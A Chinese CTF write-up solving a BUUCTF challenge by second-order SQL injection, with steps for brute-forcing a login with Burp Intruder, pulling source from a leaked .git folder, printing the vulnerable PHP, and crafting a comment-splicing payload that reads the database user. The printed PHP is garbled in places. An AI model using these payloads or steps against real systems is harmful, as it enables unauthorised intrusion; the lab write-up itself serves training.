sql二次注入实战--2018年网顶杯

网址:BUUCTF在线评测 (buuoj.cn)

当我们进入后显示这个页面:

当我们第一次点击发帖的时候就会跳转到登陆页面,上面有提示,告诉我们账号为zhangwei,密码为zhangwei***:

这里我们可以使用bp抓包工具来进行暴力破解密码:bp工具的基本使用大家可以上网查一下。

使用bp的intruder模块进行简单的密码暴力破解,最终破解出的密码为zhangwei666

之后使用该密码进行登陆:

对网站进行观察:该网站存在发帖和留言的功能。

我们需要对该网站的源码进行分析,这里还隐藏了一个.git的文件泄露,我们可以使用githacker工具获取源码。可以去github上面去选择一个来使用:

最后我们得到的源码为:

//write_do.php

<?php

include "mysql.php";

session_start();

if($_SESSION'login' != 'yes'){

header("Location: ./login.php");

die();

}

if(isset($_GET'do')){

switch ($_GET'do')

{

case 'write':

category = addslashes(_POST'category');

title = addslashes(_POST'title');

content = addslashes(_POST'content');

$sql = "insert into board

set category = '$category',

title = '$title',

content = '$content'";

result = mysql_query(sql);

header("Location: ./index.php");

break;

case 'comment':

bo_id = addslashes(_POST'bo_id');

sql = "select category from board where id='bo_id'";

result = mysql_query(sql);

num = mysql_num_rows(result);

if($num>0){

category = mysql_fetch_array(result)'category';

content = addslashes(_POST'content');

$sql = "insert into comment

set category = '$category', ',content= user(),/*

content = '$content',

bo_id = '$bo_id'";

result = mysql_query(sql);

}

header("Location: ./comment.php?id=$bo_id");

break;

default:

header("Location: ./index.php");

}

}

else{

header("Location: ./index.php");

}

?>

找注入点:

对源代码进行分析,当我们发帖的的时候,执行的动作为write;

当我们对帖子进行留言的时候就会执行comment动作。

在执行write动作的时候,我们发现这里使用了addslashes函数对我们的输入进行了过滤,该函数具有转义的作用,但是在数据入库的时候,mysql会将转义符过滤存入数据库中。

当执行comment动作(留言)的时候,它会从数据库中直接将category值取出来使用而没有进行过滤,所以注入点就在这里。

构建payload:

复制代码
insert into comment
       set category = ' dd',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

第一步:在发帖功能中构建payload

第二步:

进入新建的帖子中,进行留言。

提交之后我们就可以发现注入出了当前用户:

到此我们就成功的找到了该网站的注入点,我们只需要利用该注入点进行下一步注入即可。为典型的二次注入。

相关推荐
彧azz4 小时前
Redis 全面指南:从核心概念到高可用架构实战
数据库·redis·架构
DBA小马哥5 小时前
MongoDB 数据同步怎么做?oplog、Change Streams、同步工具 4 种方案一次讲清(附踩坑清单)
数据库·mongodb
早睡早起身体好1235 小时前
用 XGrammar 约束大模型工具调用:解决参数为空的问题
android·人工智能·神经网络·机器学习·自然语言处理·vllm
香菜TTT6 小时前
Redis的哨兵机制
java·数据库·redis
大佐不会说日语~7 小时前
Android 16 下 uni-app APP 提示“网络连接失败”的排障与修复
android·uni-app
风哥2号7 小时前
数据库教程FGMT13‑Oracle性能优化之数据仓库与分区表
数据库·oracle·性能优化
玉宇夕落7 小时前
Docker + Milvus,数据库永久存放记忆,让对话历史永不丢失
数据库·docker·llm
子非鱼a8 小时前
【WEB】[GXYCTF2019]BabySQli
sql
Zenova EdgeOS8 小时前
工业网关数据持久化:从同步到 WAL 的工程实战
网络·数据库·oracle
企查查数据服务8 小时前
全军禁入下客商准入风控,关联图谱与穿透核查
大数据·开发语言·数据库·php